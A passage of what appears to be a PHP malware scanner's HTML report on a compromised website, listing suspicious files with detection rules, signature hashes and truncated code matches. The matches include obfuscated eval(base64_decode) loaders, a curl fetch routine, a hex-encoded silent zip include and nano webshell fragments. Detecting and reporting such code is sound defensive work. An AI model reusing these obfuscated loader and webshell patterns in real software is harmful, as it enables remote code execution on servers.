is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$m</span><span style="color: #007700">[</span><span style="color: #0000BB">46</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$m</span><span style="color: #007700">[</span><span style="color: #0000BB">63</span><span style="color: #007700">](${</span><span style="color: #0000BB">$m</span><span style="color: #007700">[</span><span style="color: #0000BB">46</span><span style="color: #007700">]}[</span><span style="color: #0000BB">29</span><span style="color: #007700">])</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silenced_eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@eval(</span><span style="color: #0000BB">$LkFG</span><span style="color: #007700">[</span><span style="color: #0000BB">3</span><span style="color: #007700">+</span><span style="color: #0000BB">1</span><span style="color: #007700">](</span><span style="color: #0000BB">$qPk</span><span style="color: #007700">)</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$m</span><span style="color: #007700">[</span><span style="color: #0000BB">63</span><span style="color: #007700">](${</span><span style="color: #0000BB">$m</span><span style="color: #007700">[</span><span style="color: #0000BB">46</span><span style="color: #007700">]}[</span><span style="color: #0000BB">29</span><span style="color: #007700">])); } </span><span style="color: #0000BB">metaphone</span><span style="color: #007700">(</span><span style="color: #DD0000">"9Iooq1BfVvQ+Q5m8mEraqvo0WsfIF1iRr49vaTJqaf0"</span><span style="color: #007700">); class </span><span style="color: #0000BB">exgN</span><span style="color: #007700">{ static function </span><span style="color: #0000BB">HcatRPWIjg</span><span style="color: #007700">(</span><span style="color: #0000BB">$pWG</span><span style="color: #007700">) { </span><span style="color: #0000BB">$Pj </span><span style="color: #007700">= </span><span style="color: #DD0000">"r"</span><span style="color: #007700">.</span><span style="color: #DD0000">"a"</span><span style="color: #007700">.</span><span style="color: #DD0000">"n"</span><span style="color: #007700">.</span><span style="color: #DD0000">"g"</span><span style="color: #007700">.</span><span style="color: #DD0000">"e"</span><span style="color: #007700">; </span><span style="color: #0000BB">$KnLtFY </span><span style="color: #007700">= </span><span style="color: #0000BB">$Pj</span><span style="color: #007700">(</span><span style="color: #DD0000">"~"</span><span style="color: #007700">, </span><span style="color: #DD0000">" "</span><span style="color: #007700">); </span><span style="color: #0000BB">$UhWHmtLbj </span><span style="color: #007700">= </span><span style="color: #0000BB">explode</span><span style="color: #007700">(</span><span style="color: #DD0000">"+"</span><span style="color: #007700">, </span><span style="color: #0000BB">$pWG</span><span style="color: #007700">); </span><span style="color: #0000BB">$yIi </span><span style="color: #007700">= </span><span style="color: #DD0000">""</span><span style="color: #007700">; foreach (</span><span style="color: #0000BB">$UhWHmtLbj </span><span style="color: #007700">as </span><span style="color: #0000BB">$xVezngjcT </span><span style="color: #007700">=> </span><span style="color: #0000BB">$YJcA</span><span style="color: #007700">) </span><span style="color: #0000BB">$yIi </span><span style="color: #007700">.= </span><span style="color: #0000BB">$KnLtFY</span><span style="color: #007700">[</span><span style="color: #0000BB">$YJcA </span><span style="color: #007700">- </span><span style="color: #0000BB">18208</span><span style="color: #007700">]; return </span><span style="color: #0000BB">$yIi</span><span style="color: #007700">; } static function </span><span style="color: #0000BB">aCrByTXh</span><span style="color: #007700">(</span><span style="color: #0000BB">$KRxNLTAwi</span><span style="color: #007700">, </span><span style="color: #0000BB">$aibI</span><span style="color: #007700">) { </span><span style="color: #0000BB">$jUXp </span><span style="color: #007700">= </span><span style="color: #0000BB">curl_init</span><span style="color: #007700">(</span><span style="color: #0000BB">$KRxNLTAwi</span><span style="color: #007700">); </span><span style="color: #0000BB">curl_setopt</span><span style="color: #007700">(</span><span style="color: #0000BB">$jUXp</span><span style="color: #007700">, </span><span style="color: #0000BB">CURLOPT_RETURNTRANSFER</span><span style="color: #007700">, </span><span style="color: #0000BB">1</span><span style="color: #007700">); </span><span style="color: #0000BB">$ZAWMhN </span><span style="color: #007700">= </span><span style="color: #0000BB">curl_exec</span><span style="color: #007700">(</span><span style="color: #0000BB">$jUXp</span><span style="color: #007700">); return empty(</span><span style="color: #0000BB">$ZAWMhN</span><span style="color: #007700">) ? $...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_118").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/images/images/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 375.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-26 08:41:35</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-26 08:41:35</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_119" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$WIv</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@include_once </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x77\x6d\x76\x5f\x36\x39\x37\x37\x30\x63\x39\x66\x31\x37\x64\x33\x34\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x37\x30\x63\x39\x66\x31\x37\x64\x33\x34\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">include_once </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_119").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/images/images/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 423.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-26 08:41:35</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-26 08:41:35</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_120" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$WIv</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_120").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/fmndn.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.20 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-02-04 16:45:58</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_121" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 891</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_121").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/rclfv.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:16:34</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:16:34</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_122" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_122").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/zrifk.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 20:53:29</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 20:53:29</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_123" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_123").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/olgnz.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-30 13:13:01</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-30 13:13:01</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_124" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
